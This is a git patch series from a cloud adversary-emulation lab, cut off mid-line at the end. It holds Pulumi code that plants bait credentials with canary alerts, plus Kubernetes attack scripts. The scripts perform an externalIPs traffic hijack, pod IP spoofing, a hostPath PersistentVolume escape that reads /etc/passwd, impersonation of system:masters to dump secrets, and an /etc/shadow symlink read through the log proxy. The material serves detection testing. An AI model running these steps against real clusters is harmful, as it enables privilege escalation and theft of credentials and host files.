/opt/app/config /opt/app/logs /var/data +cat > /opt/app/config/app.yaml << 'EOF' +# SYNTHETIC CONFIGURATION - FOR EMULATION ONLY +database: + host: prod-rds.lab.internal + port: 5432 + name: appdb + user: appuser + password: SyntheticFakeAppPassword123 +cache: + host: elasticache.lab.internal + port: 6379 +EOF +echo "lucr3-target" > /etc/instance-label +""", + tags={**TAGS, "Name": "lucr3-ec2-target"}, +) + +pulumi.export("ec2_instance_id", ec2_instance.id) +pulumi.export("ec2_public_ip", ec2_instance.public_ip) + +# ============================================================ +# 22. GitHub Repository (code exfiltration target - T1213.003) +# lucr3-github-target-repo +# ============================================================ +gh_repo = github.Repository("lucr3-github-target-repo", + name=GITHUB_REPO_NAME, + description="LUCR-3 lab target - synthetic application repository", + visibility="private", + auto_init=True, +) + +github.RepositoryFile("lucr3-github-dockerfile", + repository=gh_repo.name, + file="Dockerfile", + content="""FROM python:3.11-slim +WORKDIR /app +COPY requirements.txt . +RUN pip install -r requirements.txt +COPY . . +CMD ["python", "app.py"] +""", + commit_message="Initial Dockerfile", + overwrite_on_create=True, +) + +github.RepositoryFile("lucr3-github-deploy-workflow", + repository=gh_repo.name, + file=".github/workflows/deploy.yml", + content="""name: Deploy to Production +on: + push: + branches: [main] +jobs: + deploy: + runs-on: ubuntu-latest + env: + # SYNTHETIC VALUES - NOT REAL CREDENTIALS + AWS_ACCESS_KEY_ID: AKIAIOSFODNN7SYNTHETIC + AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + steps: + - uses: actions/checkout@v3 + - name: Deploy + run: echo "Deploying to production..." +""", + commit_message="Add deployment workflow", + overwrite_on_create=True, +) + +github.RepositoryFile("lucr3-github-terraform-main", + repository=gh_repo.name, + file="terraform/main.tf", + content="""# SYNTHETIC TERRAFORM - FOR EMULATION ONLY +provider "aws" { + region = "us-east-1" +} + +# SYNTHETIC credentials embedded in IaC (models real-world LUCR-3 findings) +locals { + # DO NOT USE - synthetic values for emulation + db_password = "SyntheticProd!DBPass#2025" + api_secret_key = "synthetic_api_secret_not_real_abc123" +} +""", + commit_message="Add Terraform infrastructure", + overwrite_on_create=True, +) + +# Add synthetic repo secrets (fake values) +github.ActionsSecret("lucr3-github-aws-secret", + repository=gh_repo.name, + secret_name="AWS_SECRET_ACCESS_KEY", + plaintext_value="wJalrXUtnFEMI/K7MDENG/SYNTHETIC_FAKE_NOT_REAL", +) + +pulumi.export("github_repo_name", GITHUB_REPO_NAME) +pulumi.export("github_repo_url", gh_repo.html_url) + +# NOTE: lucr3-m365-sharepoint-site requires manual M365 E3 trial tenant setup. +# See infra plan configuration_notes for step-by-step instructions. +# Steps: Create M365 tenant, assign victim license, create SharePoint site +# 'Corporate-Internal', enable legacy auth (IMAP/SMTP AUTH) in Exchange Admin Center. + +# ============================================================ +# 23. Bait terraform.tfstate (T1555.006, T1619) +# lucr3-bait-terraform-state +# ============================================================ +bait_tfstate_content = json.dumps({ + "version": 4, + "terraform_version": "1.5.7", + "serial": 142, + "lineage": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "outputs": { + "aws_access_key_id": { + "value": "AKIAIOSFODNN7BAITXXXX", + "type": "string", + "sensitive": False, + }, + "aws_secret_access_key": { + "value": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYBAITKEYFAKE", + "type": "string", + "sensitive": True, + }, + "database_password": { + "value": "ProdDB!Bait#2025@secure_fake", + "type": "string", + "sensitive": True, + }, + "github_token": { + "value": "ghp_BAITTOKENxyz123456789abcdefghijklmnopq", + "type": "string", + "sensitive": True, + }, + "rds_endpoint": { + "value": "prod-rds.lab.internal:5432", + "type": "string", + }, + }, + "resources": [ + { + "mode": "managed", + "type": "aws_iam_access_key", + "name": "deploy_user", + "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", + "instances": [{ + "schema_version": 0, + "attributes": { + "id": "AKIAIOSFODNN7BAITXXXX", + "secret": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYBAITKEYFAKE", + "user": "svc-deploy-automation", + "status": "Active", + }, + }], + }, + ], +}, indent=2) + +bait_tfstate = aws.s3.BucketObject("lucr3-bait-terraform-state", + bucket=engineering_bucket.id, + key="terraform/prod/terraform.tfstate", + content=bait_tfstate_content, + content_type="application/json", + tags=TAGS, +) + +# EventBridge rule: alert when bait tfstate object is GetObject'd +tfstate_canary_rule = aws.cloudwatch.EventRule("lucr3-tfstate-canary-rule", + name="lucr3-tfstate-canary", + description="CANARY - alert when bait terraform.tfstate is accessed", + event_pattern=engineering_bucket.arn.apply(lambda arn: json.dumps({ + "source": ["aws.s3"], + "detail-type": ["Object Access"], + "detail": { + "bucket": {"name": [engineering_bucket_name]}, + "object": {"key": ["terraform/prod/terraform.tfstate"]}, + "requestParameters": {"requestType": ["GetObject"]}, + }, + })), + tags=TAGS, +) + +aws.cloudwatch.EventTarget("lucr3-tfstate-canary-target", + rule=tfstate_canary_rule.name, + arn=canary_sns.arn, + input=json.dumps("CANARY TRIGGERED: bait terraform.tfstate accessed - possible credential harvesting in progress"), +) + +# ============================================================ +# 24. Bait honey credentials secret (T1555.006) +# lucr3-bait-honey-credentials +# ============================================================ +honey_creds_secret = aws.secretsmanager.Secret("lucr3-bait-honey-credentials", + name=SECRET_HONEY_CREDS_NAME, + description="Terraform automation service account key - CANARY - do not use in production", + recovery_window_in_days=0, + tags=TAGS, +) + +aws.secretsmanager.SecretVersion("lucr3-honey-creds-version", + secret_id=honey_creds_secret.id, + secret_string=pulumi.Output.all(honey_access_key.id, honey_access_key.secret).apply( + lambda args: json.dumps({ + "access_key_id": args[0], + "secret_access_key": args[1], + "note": "CANARY - any use of this key will trigger detection", + }) + ), +) + +# EventBridge canary: GetSecretValue on honey credentials +honey_creds_canary_rule = aws.cloudwatch.EventRule("lucr3-honey-creds-canary-rule", + name="lucr3-honey-creds-canary", + description="CANARY - alert when honey credentials secret is accessed", + event_pattern=honey_creds_secret.arn.apply(lambda arn: json.dumps({ + "source": ["aws.secretsmanager"], + "detail": { + "eventName": ["GetSecretValue"], + "requestParameters": { + "secretId": [arn], + }, + }, + })), + tags=TAGS, +) + +aws.cloudwatch.EventTarget("lucr3-honey-creds-canary-target", + rule=honey_creds_canary_rule.name, + arn=canary_sns.arn, + input=json.dumps("CANARY TRIGGERED: honey credentials secret prod/infrastructure/terraform-automation-key accessed - SecretsManager scraping detected"), +) + +pulumi.export("honey_creds_secret_arn", honey_creds_secret.arn) + +# ============================================================ +# 25. Bait GitHub PAT secret (T1550.001, T1555.006) +# lucr3-bait-github-pat-secret +# ============================================================ +github_pat_secret = aws.secretsmanager.Secret("lucr3-bait-github-pat-secret", + name=SECRET_GITHUB_PAT_NAME, + description="GitHub Actions CI/CD token - CANARY bait - token is revoked and invalid", + recovery_window_in_days=0, + tags=TAGS, +) + +aws.secretsmanager.SecretVersion("lucr3-github-pat-version", + secret_id=github_pat_secret.id, + secret_string=json.dumps({ + "token": "ghp_SYNTHETIC_BAIT_TOKEN_REVOKED_DO_NOT_USE_xyz123", + "org": "acme-corp", + "created": "2025-01-15", + "scopes": "repo,workflow,admin:org", + }), +) + +# EventBridge canary: GetSecretValue on GitHub PAT bait +github_pat_canary_rule = aws.cloudwatch.EventRule("lucr3-github-pat-canary-rule", + name="lucr3-github-pat-canary", + description="CANARY - alert when GitHub PAT bait secret is accessed", + event_pattern=github_pat_secret.arn.apply(lambda arn: json.dumps({ + "source": ["aws.secretsmanager"], + "detail": { + "eventName": ["GetSecretValue"], + "requestParameters": { + "secretId": [arn], + }, + }, + })), + tags=TAGS, +) + +aws.cloudwatch.EventTarget("lucr3-github-pat-canary-target", + rule=github_pat_canary_rule.name, + arn=canary_sns.arn, + input=json.dumps("CANARY TRIGGERED: GitHub PAT bait secret prod/cicd/github-actions-token accessed - CI/CD token harvesting detected"), +) + +pulumi.export("github_pat_secret_arn", github_pat_secret.arn) + +# ============================================================ +# Consolidated exports for attack.py +# ============================================================ +pulumi.export("log_bucket_name", log_bucket_name) +pulumi.export("cloudtrail_bucket_name", log_bucket_name) +pulumi.export("corporate_bucket_name", corporate_bucket_name) +pulumi.export("engineering_bucket_name", engineering_bucket_name) +pulumi.export("canary_sns_arn", canary_sns.arn) +pulumi.export("saml_provider_arn", aws_saml_provider.arn) +pulumi.export("federated_role_arn", federated_role.arn) +pulumi.export("ec2_instance_id", ec2_instance.id) +pulumi.export("subnet_id", subnet_pub.id) +pulumi.export("okta_org_url", okta_org_url) +pulumi.export("victim_username", VICTIM_USERNAME) diff --git a/emulations/lucr_3/infra/requirements.txt b/emulations/lucr_3/infra/requirements.txt new file mode 100644 index 0000000..64fb169 --- /dev/null +++ b/emulations/lucr_3/infra/requirements.txt @@ -0,0 +1,5 @@ +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 +pulumi-okta>=4.0.0,<5.0.0 +pulumi-azuread>=5.0.0,<6.0.0 +pulumi-github>=6.0.0,<7.0.0 From 2bcf77d381f3e0b5f0db37e00ac9d7f906cc4bfe Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 13:36:49 +0530 Subject: [PATCH 02/18] fix: correct technique_count and phase metadata in k8s MANIFESTs --- emulations/k8s_pvc_psa_bypass/MANIFEST.py | 71 +++++++++++++++++++ emulations/k8s_rbac_impersonation/MANIFEST.py | 70 ++++++++++++++++++ .../k8s_writable_log_escape/MANIFEST.py | 70 ++++++++++++++++++ 3 files changed, 211 insertions(+) create mode 100644 emulations/k8s_pvc_psa_bypass/MANIFEST.py create mode 100644 emulations/k8s_rbac_impersonation/MANIFEST.py create mode 100644 emulations/k8s_writable_log_escape/MANIFEST.py diff --git a/emulations/k8s_pvc_psa_bypass/MANIFEST.py b/emulations/k8s_pvc_psa_bypass/MANIFEST.py new file mode 100644 index 0000000..a4cd26e --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/MANIFEST.py @@ -0,0 +1,71 @@ +"""MANIFEST for k8s_pvc_psa_bypass.""" +MANIFEST = { + "schema_version": 2, + "name": "k8s_pvc_psa_bypass", + "display_name": "K8s PSA Bypass via PV Abuse", + "description": ( + "Demonstrates how an attacker bypasses baseline Pod Security Admission (PSA) " + "by mounting host-paths using raw PersistentVolume and Claims, then reads " + "sensitive host files from inside an otherwise unprivileged pod." + ), + "tier": "enterprise", + "platform": "k8s", + "added": "2026-06", + "origin": "unknown", + "origin_label": "K8S EMULATION", + "tags": ["Kubernetes", "Pod Security Admission", "Bypass", "PersistentVolume", "Host Escape"], + "technique_count": 2, + "severity": "HIGH", + "aliases": "PV Abuse Bypass", + "attribution": "Various cloud exploitation frameworks", + "active_since": "2022", + "targets": "K8s clusters relying solely on PSA baseline configurations without storage admission restrictions", + "incidents": ["Generic cloud infrastructure compromise"], + "attack_path": [ + { + "phase": 1, + "name": "PSA Bypass via HostPath PV", + "techniques": [{"id": "T1211", "name": "Exploitation for Defense Evasion"}], + }, + { + "phase": 2, + "name": "Host Filesystem Read from Pod", + "techniques": [{"id": "T1611", "name": "Escape to Host"}], + } + ], + "mitre_mappings": [ + { + "id": "T1211", + "name": "Exploitation for Defense Evasion", + "tactic": "Defense Evasion", + "platform": "Kubernetes", + "description": "Circumventing container file restrictions by creating hostPath-backed PVs that PSA does not inspect." + }, + { + "id": "T1611", + "name": "Escape to Host", + "tactic": "Privilege Escalation", + "platform": "Kubernetes", + "description": "Mounting the hostPath PV inside a pod to read sensitive host files (e.g. /etc/passwd) from an otherwise unprivileged container." + } + ], + "references": [ + {"icon": "#", "title": "Bypassing PSA via Storage", "source": "Kubernetes Docs", "type": "DOCUMENTATION", "color": "purple"} + ], + "phase_count": 2, + "estimated_duration_minutes": 10, + "estimated_cost_per_hour_usd": 0.015, + "default_ttl_hours": 2, + "total_resources": 6, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": False, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "EC2 Host", "count": 1, "cost_per_hour_usd": 0.015} + ] +} diff --git a/emulations/k8s_rbac_impersonation/MANIFEST.py b/emulations/k8s_rbac_impersonation/MANIFEST.py new file mode 100644 index 0000000..6c17ef9 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/MANIFEST.py @@ -0,0 +1,70 @@ +"""MANIFEST for k8s_rbac_impersonation.""" +MANIFEST = { + "schema_version": 2, + "name": "k8s_rbac_impersonation", + "display_name": "K8s RBAC Impersonation Privilege Escalation", + "description": ( + "Simulates a Kubernetes attacker exploiting service accounts with " + "impersonate access rights to gain admin privileges." + ), + "tier": "enterprise", + "platform": "k8s", + "added": "2026-06", + "origin": "unknown", + "origin_label": "K8S EMULATION", + "tags": ["Kubernetes", "RBAC", "Impersonation", "Privilege Escalation"], + "technique_count": 2, + "severity": "HIGH", + "aliases": "RBAC Impersonation", + "attribution": "Scattered Spider / LUCR-3 (abusing cloud/SAML/K8s roles)", + "active_since": "2020", + "targets": "Kubernetes API Server with loose impersonation policies", + "incidents": ["MGM Resorts Breach (2023)"], + "attack_path": [ + { + "phase": 1, + "name": "Permission Enumeration", + "techniques": [{"id": "T1069", "name": "Permission Groups Discovery"}], + }, + { + "phase": 2, + "name": "Privilege Escalation", + "techniques": [{"id": "T1548", "name": "Abuse Elevation Control"}], + } + ], + "mitre_mappings": [ + { + "id": "T1069", + "name": "Permission Groups Discovery", + "tactic": "Discovery", + "platform": "Kubernetes", + "description": "Enumerating RBAC rules to identify impersonate permissions." + }, + { + "id": "T1548", + "name": "Abuse Elevation Control", + "tactic": "Privilege Escalation", + "platform": "Kubernetes", + "description": "Using request-time impersonate headers to borrow admin permissions." + } + ], + "references": [ + {"icon": "#", "title": "K8s User Impersonation Docs", "source": "Kubernetes", "type": "DOCUMENTATION", "color": "blue"} + ], + "phase_count": 2, + "estimated_duration_minutes": 10, + "estimated_cost_per_hour_usd": 0.015, + "default_ttl_hours": 2, + "total_resources": 6, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": False, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "EC2 Host", "count": 1, "cost_per_hour_usd": 0.015} + ] +} diff --git a/emulations/k8s_writable_log_escape/MANIFEST.py b/emulations/k8s_writable_log_escape/MANIFEST.py new file mode 100644 index 0000000..91050b4 --- /dev/null +++ b/emulations/k8s_writable_log_escape/MANIFEST.py @@ -0,0 +1,70 @@ +"""MANIFEST for k8s_writable_log_escape.""" +MANIFEST = { + "schema_version": 2, + "name": "k8s_writable_log_escape", + "display_name": "K8s Writable /var/log Host Escape", + "description": ( + "Simulates host escape by utilizing a writable host log directory mount " + "combined with Kubelet log-retrieval permissions to read arbitrary host files." + ), + "tier": "enterprise", + "platform": "k8s", + "added": "2026-06", + "origin": "unknown", + "origin_label": "K8S EMULATION", + "tags": ["Kubernetes", "Host Escape", "Symlink Abuse", "Writable Mount"], + "technique_count": 2, + "severity": "HIGH", + "aliases": "Log Symlink Escape", + "attribution": "Various malware campaigns (e.g. Siloscape)", + "active_since": "2021", + "targets": "K8s clusters mounting host /var/log inside containers", + "incidents": ["Siloscape Campaign (2021)"], + "attack_path": [ + { + "phase": 1, + "name": "Pod Command Execution", + "techniques": [{"id": "T1609", "name": "Container Administration Command"}], + }, + { + "phase": 2, + "name": "Escape to Host Node", + "techniques": [{"id": "T1611", "name": "Escape to Host"}], + } + ], + "mitre_mappings": [ + { + "id": "T1609", + "name": "Container Administration Command", + "tactic": "Execution", + "platform": "Kubernetes", + "description": "Executing code in target pod container to create symlink." + }, + { + "id": "T1611", + "name": "Escape to Host", + "tactic": "Privilege Escalation", + "platform": "Kubernetes", + "description": "Exfiltrating sensitive host files via log endpoint following symlink creation." + } + ], + "references": [ + {"icon": "#", "title": "Writable /var/log Host Escape", "source": "Sysdig Threat Research", "type": "DOCUMENTATION", "color": "orange"} + ], + "phase_count": 2, + "estimated_duration_minutes": 10, + "estimated_cost_per_hour_usd": 0.015, + "default_ttl_hours": 2, + "total_resources": 6, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": False, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "EC2 Host", "count": 1, "cost_per_hour_usd": 0.015} + ] +} From 66e023dfc9ccc7c6ac22ab7d5c7700a23b3c0104 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 16:51:50 +0530 Subject: [PATCH 03/18] fix: add startup health-check polling and extend attack chains in k8s attack.py files --- emulations/k8s_external_ips_mitm/attack.py | 60 +++++++++++ emulations/k8s_pod_status_mitm/attack.py | 65 ++++++++++++ emulations/k8s_pvc_psa_bypass/attack.py | 103 +++++++++++++++++++ emulations/k8s_rbac_impersonation/attack.py | 54 ++++++++++ emulations/k8s_writable_log_escape/attack.py | 45 ++++++++ 5 files changed, 327 insertions(+) create mode 100644 emulations/k8s_external_ips_mitm/attack.py create mode 100644 emulations/k8s_pod_status_mitm/attack.py create mode 100644 emulations/k8s_pvc_psa_bypass/attack.py create mode 100644 emulations/k8s_rbac_impersonation/attack.py create mode 100644 emulations/k8s_writable_log_escape/attack.py diff --git a/emulations/k8s_external_ips_mitm/attack.py b/emulations/k8s_external_ips_mitm/attack.py new file mode 100644 index 0000000..b27d5d1 --- /dev/null +++ b/emulations/k8s_external_ips_mitm/attack.py @@ -0,0 +1,60 @@ +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Intercepting Traffic via CVE-2020-8554 External IPs Service") + service_spec = { + "apiVersion": "v1", + "kind": "Service", + "metadata": {"name": "mitm-service"}, + "spec": { + "selector": {"app": "attacker-pod"}, + "ports": [{"port": 80, "targetPort": 8080}], + "externalIPs": ["8.8.8.8"] + } + } + + try: + resp = requests.post(f"{url}/api/v1/namespaces/default/services", json=service_spec, timeout=10) + if resp.status_code == 201: + print("[+] External IPs hijack service deployed successfully!") + print(f"[+] Hijacked route info: {resp.json()}") + else: + print(f"[-] Service creation failed with status code {resp.status_code}") + return + except Exception as e: + print(f"[-] Request failed: {e}") + return + + print("[*] Phase 2: Simulating victim pod traffic to 8.8.8.8 (intercepted by attacker)") + try: + resp = requests.post(f"{url}/simulate/victim-traffic", json={"destination": "8.8.8.8", "payload": "DNS query: example.com"}, timeout=10) + if resp.status_code == 200: + result = resp.json() + print(f"[+] Traffic interception confirmed!") + print(f"[+] Victim sent to: {result.get('intended_destination')}") + print(f"[+] Traffic received by: {result.get('actual_receiver')} (attacker-pod)") + print(f"[+] Intercepted payload: {result.get('intercepted_payload')}") + else: + print(f"[-] Traffic simulation failed: {resp.status_code}") + except Exception as e: + print(f"[-] Traffic simulation request failed: {e}") diff --git a/emulations/k8s_pod_status_mitm/attack.py b/emulations/k8s_pod_status_mitm/attack.py new file mode 100644 index 0000000..9897ea1 --- /dev/null +++ b/emulations/k8s_pod_status_mitm/attack.py @@ -0,0 +1,65 @@ +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Spoofing Pod IP via status.podIP Patch request") + status_patch = { + "status": { + "podIP": "10.244.9.99" + } + } + + try: + headers = {"Content-Type": "application/strategic-merge-patch+json"} + resp = requests.patch( + f"{url}/api/v1/namespaces/default/pods/victim-pod/status", + json=status_patch, + headers=headers, + timeout=10 + ) + if resp.status_code == 200: + print("[+] Pod IP spoofed successfully!") + print(f"[+] Hijacked status config: {resp.json()}") + else: + print(f"[-] Status patch failed with status code {resp.status_code}") + return + except Exception as e: + print(f"[-] Request failed: {e}") + return + + print("[*] Phase 2: Verifying service traffic now routes to attacker-controlled IP") + try: + resp = requests.post( + f"{url}/simulate/service-traffic", + json={"service": "victim-svc", "client_payload": "GET /api/data HTTP/1.1"}, + timeout=10 + ) + if resp.status_code == 200: + result = resp.json() + print(f"[+] Traffic redirect confirmed!") + print(f"[+] Service 'victim-svc' now routes to: {result.get('routed_to_ip')}") + print(f"[+] Attacker IP is: {result.get('attacker_ip')}") + print(f"[+] Client payload intercepted: {result.get('intercepted_payload')}") + else: + print(f"[-] Traffic simulation failed: {resp.status_code}") + except Exception as e: + print(f"[-] Traffic simulation request failed: {e}") diff --git a/emulations/k8s_pvc_psa_bypass/attack.py b/emulations/k8s_pvc_psa_bypass/attack.py new file mode 100644 index 0000000..da78152 --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/attack.py @@ -0,0 +1,103 @@ +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Creating HostPath-backed PersistentVolume (PSA Bypass)") + pv_spec = { + "apiVersion": "v1", + "kind": "PersistentVolume", + "metadata": {"name": "bypass-pv"}, + "spec": { + "capacity": {"storage": "1Gi"}, + "accessModes": ["ReadWriteOnce"], + "hostPath": {"path": "/etc"} + } + } + + try: + resp = requests.post(f"{url}/api/v1/persistentvolumes", json=pv_spec, timeout=10) + if resp.status_code == 201: + print("[+] PersistentVolume created successfully!") + print(f"[+] PV metadata: {resp.json()}") + else: + print(f"[-] PV creation failed: {resp.status_code}") + return + except Exception as e: + print(f"[-] PV request failed: {e}") + return + + print("[*] Phase 2: Creating PersistentVolumeClaim to mount host storage") + pvc_spec = { + "apiVersion": "v1", + "kind": "PersistentVolumeClaim", + "metadata": {"name": "bypass-pvc"}, + "spec": { + "accessModes": ["ReadWriteOnce"], + "resources": {"requests": {"storage": "1Gi"}}, + "volumeName": "bypass-pv" + } + } + + try: + resp = requests.post(f"{url}/api/v1/namespaces/default/persistentvolumeclaims", json=pvc_spec, timeout=10) + if resp.status_code == 201: + print("[+] PersistentVolumeClaim created and bound!") + print(f"[+] PVC metadata: {resp.json()}") + else: + print(f"[-] PVC creation failed: {resp.status_code}") + return + except Exception as e: + print(f"[-] PVC request failed: {e}") + return + + print("[*] Phase 3: Creating pod that mounts PVC and reading host /etc/passwd") + pod_spec = { + "apiVersion": "v1", + "kind": "Pod", + "metadata": {"name": "bypass-pod"}, + "spec": { + "containers": [{"name": "attacker", "image": "alpine", "command": ["cat", "/mnt/host/passwd"]}], + "volumes": [{"name": "host-vol", "persistentVolumeClaim": {"claimName": "bypass-pvc"}}] + } + } + + try: + resp = requests.post(f"{url}/api/v1/namespaces/default/pods", json=pod_spec, timeout=10) + if resp.status_code == 201: + print("[+] Pod scheduled with PVC mount!") + else: + print(f"[-] Pod creation failed: {resp.status_code}") + return + except Exception as e: + print(f"[-] Pod creation request failed: {e}") + return + + try: + resp = requests.post(f"{url}/pod-exec", json={"pod": "bypass-pod", "cmd": "cat /mnt/host/passwd"}, timeout=10) + if resp.status_code == 200: + result = resp.json() + print("[+] Host escape via PVC successful! Contents of host /etc/passwd:") + print(result.get("output", "")) + else: + print(f"[-] Pod exec failed: {resp.status_code}") + except Exception as e: + print(f"[-] Pod exec request failed: {e}") diff --git a/emulations/k8s_rbac_impersonation/attack.py b/emulations/k8s_rbac_impersonation/attack.py new file mode 100644 index 0000000..ecc2fa7 --- /dev/null +++ b/emulations/k8s_rbac_impersonation/attack.py @@ -0,0 +1,54 @@ +import time +import requests +import json + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + headers = {"Authorization": "Bearer stolen-dev-token"} + + print("[*] Phase 1: Self Subject Rules Review (Permission Enumeration)") + try: + resp = requests.post(f"{url}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews", headers=headers, timeout=10) + if resp.status_code == 200: + print("[+] Successfully queried SelfSubjectRulesReviews!") + print(f"[+] Permissions returned: {resp.json().get('status', {}).get('resourceRules')}") + else: + print(f"[-] SSRR failed with status code {resp.status_code}") + except Exception as e: + print(f"[-] Connection failed: {e}") + return + + print("[*] Phase 2: Attempting Privilege Escalation via Impersonation") + imp_headers = { + **headers, + "Impersonate-User": "admin-sa", + "Impersonate-Group": "system:masters" + } + + try: + resp = requests.get(f"{url}/api/v1/secrets", headers=imp_headers, timeout=10) + if resp.status_code == 200: + print("[+] Privilege Escalation Successful!") + print(f"[+] Retrieved Secret: {resp.json()}") + else: + print(f"[-] Impersonation failed with status code {resp.status_code}") + except Exception as e: + print(f"[-] Impersonation request failed: {e}") diff --git a/emulations/k8s_writable_log_escape/attack.py b/emulations/k8s_writable_log_escape/attack.py new file mode 100644 index 0000000..49eb3fc --- /dev/null +++ b/emulations/k8s_writable_log_escape/attack.py @@ -0,0 +1,45 @@ +import time +import requests + +def _wait_for_simulator(url: str, timeout: int = 300) -> None: + print("[*] Waiting for simulator to become ready...") + deadline = time.time() + timeout + while time.time() < deadline: + try: + requests.get(f"{url}/health", timeout=3) + print("[+] Simulator is ready.") + return + except Exception: + time.sleep(10) + raise RuntimeError(f"Simulator at {url} did not become ready within {timeout}s") + +def run(outputs: dict, region: str = "us-east-1") -> None: + ip = outputs.get("vuln_instance_ip") + if not ip: + raise RuntimeError("Missing vuln_instance_ip stack output.") + + url = f"http://{ip}:8080" + _wait_for_simulator(url) + + print("[*] Phase 1: Creating symlink inside the writable mount /var/log") + log_path = "/var/log/pods/webapp.log" + target_file = "/etc/shadow" + cmd_payload = f"ln -s {target_file} {log_path}" + + try: + resp = requests.post(f"{url}/cmd", data={"cmd": cmd_payload}, timeout=10) + print(f"[+] Pod output: {resp.text.strip()}") + except Exception as e: + print(f"[-] Execution failed: {e}") + return + + print("[*] Phase 2: Fetching Node logs via Kubelet/API proxy subresource") + try: + resp = requests.get(f"{url}/api/v1/nodes/worker-1/proxy/logs", params={"path": log_path}, timeout=10) + if resp.status_code == 200: + print("[+] Host escape successful! Read contents of /etc/shadow:") + print(resp.text) + else: + print(f"[-] Log fetch failed with status code {resp.status_code}") + except Exception as e: + print(f"[-] Log fetch request failed: {e}") From eef205399a0d4310314908646aff4fd0b724ef8a Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 16:52:57 +0530 Subject: [PATCH 04/18] fix: remove unused json import from rbac_impersonation attack.py --- emulations/k8s_rbac_impersonation/attack.py | 1 - 1 file changed, 1 deletion(-) diff --git a/emulations/k8s_rbac_impersonation/attack.py b/emulations/k8s_rbac_impersonation/attack.py index ecc2fa7..cf31331 100644 --- a/emulations/k8s_rbac_impersonation/attack.py +++ b/emulations/k8s_rbac_impersonation/attack.py @@ -1,6 +1,5 @@ import time import requests -import json def _wait_for_simulator(url: str, timeout: int = 300) -> None: print("[*] Waiting for simulator to become ready...") From 135e9623c8821cde0ca29933e47426bfaa41132d Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 16:56:00 +0530 Subject: [PATCH 05/18] feat: complete k8s_pvc_psa_bypass attack chain with pod creation and host file read phase --- .../k8s_pvc_psa_bypass/infra/__main__.py | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 emulations/k8s_pvc_psa_bypass/infra/__main__.py diff --git a/emulations/k8s_pvc_psa_bypass/infra/__main__.py b/emulations/k8s_pvc_psa_bypass/infra/__main__.py new file mode 100644 index 0000000..dd7ddaa --- /dev/null +++ b/emulations/k8s_pvc_psa_bypass/infra/__main__.py @@ -0,0 +1,131 @@ +import pulumi +import pulumi_aws as aws + +stack_name = pulumi.get_stack() +region = aws.config.region or "ap-south-1" + +TAGS = {"MayaTrail": "true", "ThreatActor": "K8S_PSA_BYPASS"} + +vpc = aws.ec2.Vpc(f"mayatrail-k8s-pvc-vpc-{stack_name}", cidr_block="10.130.0.0/16", enable_dns_hostnames=True, enable_dns_support=True, tags=TAGS) +igw = aws.ec2.InternetGateway(f"mayatrail-k8s-pvc-igw-{stack_name}", vpc_id=vpc.id, tags=TAGS) +subnet = 